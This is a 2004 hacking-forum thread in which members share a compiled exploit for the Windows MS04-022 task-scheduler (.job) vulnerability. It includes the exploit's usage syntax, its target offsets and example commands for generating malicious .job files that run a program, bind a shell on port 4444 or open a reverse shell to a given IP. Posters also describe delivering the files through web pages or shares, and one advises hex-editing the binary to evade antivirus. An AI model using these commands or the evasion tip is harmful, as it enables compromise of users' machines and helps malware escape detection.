hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

studnikov
It seems like alot of people had problems compiling this.
I didn't so i thought i would post it for the ones who did.

Thanks to ScriptGod for the code.

CODE

Compiling...
MS04-022ScriptGod.cpp

MS04-022ScriptGod.obj - 0 error(s), 0 warning(s)

Linking...

MS04-022ScriptGod.exe - 0 error(s), 0 warning(s)
z-man
10q very much

but on what port that exploit work unsure.gif 445? unsure.gif
The Storm
thank ya 2 downloads 2 reypls *g*
nuorder
QUOTE (z-man @ Jul 27 2004, 08:00 PM)
10q very much

but on what port that exploit work  unsure.gif 445?  unsure.gif

come on man be serious

its local unless you specify a port for the shell
ivan288
usage: new <TargetID> <PayloadID> <OutputJobFile> < <Command> | <BindPort> | <IP
> <Port> >

TargetID Name EIP
----------------------------------------------------------
0 Windows XP SP0+1 GER 0x76e21a21
1 DoS Windows XP ALL 0xffffffff

PayloadID Name
--------------------------
0 WinExec
1 BindShell
2 ReverseShell

any help onm how to use this. i mean what u put in for command for example.
ivan288
i tried:
exploit.exe 0 1 k.bat 6666 127.0.0.1

its suppose to make a k.bat file with bindshell on port 6666.
what i does it creates k.bat in the same directory. Bu then it doesnt open the shell even when i click on the .bat.
not sure what i am doin wrong.
Coktailcrazy
nice work to compile this!! gonna test it out!
thorel
Nice job man, sweet
nuorder
QUOTE (ivan288 @ Jul 27 2004, 09:51 PM)
i tried:
exploit.exe 0 1 k.bat 6666 127.0.0.1

its suppose to make a k.bat file with bindshell on port 6666.
what i does it creates k.bat in the same directory. Bu then it doesnt open the shell even when i click on the .bat.
not sure what i am doin wrong.

instead of k.bat you should have k.job, it is sometimes a good idea to read the main article on a vulnerability before you try to use it
QUOTE

How could an attacker exploit this vulnerability?
There are many ways that a system could be vulnerable to this attack. Here are some examples:
.

An attacker could host a malicious Web site that is designed to exploit this vulnerability through Internet Explorer and then persuade a user to view the Web site.
.

An attacker could add a specially crafted .job file to the local file system or to a network share and then persuade the user to view the folder by using Windows Explorer.
.

An attacker could also access the affected component through another vector. For example, an attacker could log on to the system interactively or by using another program that passes parameters to the vulnerable component (locally or remotely).

from the microsoft site www.microsoft.com/technet/security/bulletin/MS04-022.mspx
DrDoc
Thx 4 the compiled Version smile.gif i have tested it to compile it.. with the result im a noob biggrin.gif

25 Downloads sad.gif and just a few replys.. very poor sad.gif

BIG THX wink.gif

Cya Doc
ScriptGod
- first the TagetID (there are only german atm)
- second the ID of the payload yo wanna use
- the output file (must be .job)
- paramter of the payload

examples:

- winexec (runs notepad.exe)
job.exe 0 0 C:\test.job notepad.exe

- bindshell (target binds a shell on port 4444)
job.exe 0 1 C:\test.job 4444

- reverseshell (target connects to 192.168.0.1:666)
job.exe 0 2 C:\test.job 192.168.0.1 666
The Storm
is this a local exploit? cause there isn't a remoteadress required ?!?
ScriptGod
QUOTE (The Storm @ Jul 27 2004, 04:15 PM)
is this a local exploit? cause there isn't a remoteadress required ?!?

yes mainly local. because it requires user interacticty
=k3Rn=
hm thats a pitty smile.gif
The Storm
hm when i use this exploit my explorer.exe crashes smile.gif is there a chance to make this exploit a remote exploit or can the Vulnerability only be used local ?!?
mortello
QUOTE (The Storm @ Jul 28 2004, 07:47 AM)
hm when i use this exploit my explorer.exe crashes smile.gif is there a chance to make this exploit a remote exploit or can the Vulnerability only be used local ?!?

It can be used remotely, you just need users interactivity....so its a bit more likle a local exploit

another way of using it, is puting the .job into a explorer page.... (I believe that's how it goes too)

However, reading the advisory would explain a little more on what you can do with this advisory,....
ScriptGod
QUOTE (The Storm @ Jul 28 2004, 07:47 AM)
hm when i use this exploit my explorer.exe crashes smile.gif is there a chance to make this exploit a remote exploit or can the Vulnerability only be used local ?!?

what language has your windows?

however remote is only possible with USER INTERACTIVITY.
newbie
NAV2004 Detects it immediately.
):
Gotisch
why sad.gif . you should be happy the antivir software houses are updating their filters that fast !
mortello
QUOTE (newbie @ Jul 28 2004, 05:07 PM)
NAV2004 Detects it immediately.
):

hex edit it and most AV won't pick it up

Thanks Scriptgod for the precision on the part where I was wrong about the webpage !
The Storm
I have Widnows XP Professional German SP1
Serhat
QUOTE (The Storm @ Jul 28 2004, 07:47 AM)
hm when i use this exploit my explorer.exe crashes smile.gif is there a chance to make this exploit a remote exploit or can the Vulnerability only be used local ?!?

This can only be because you are patched?
here it crashes also.. but then again I am using the Dutch version of Windows XP

Also compiled fine here.. if the exploit wasn't upped I would have done it.. but seems I am too late smile.gif

Serhat
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.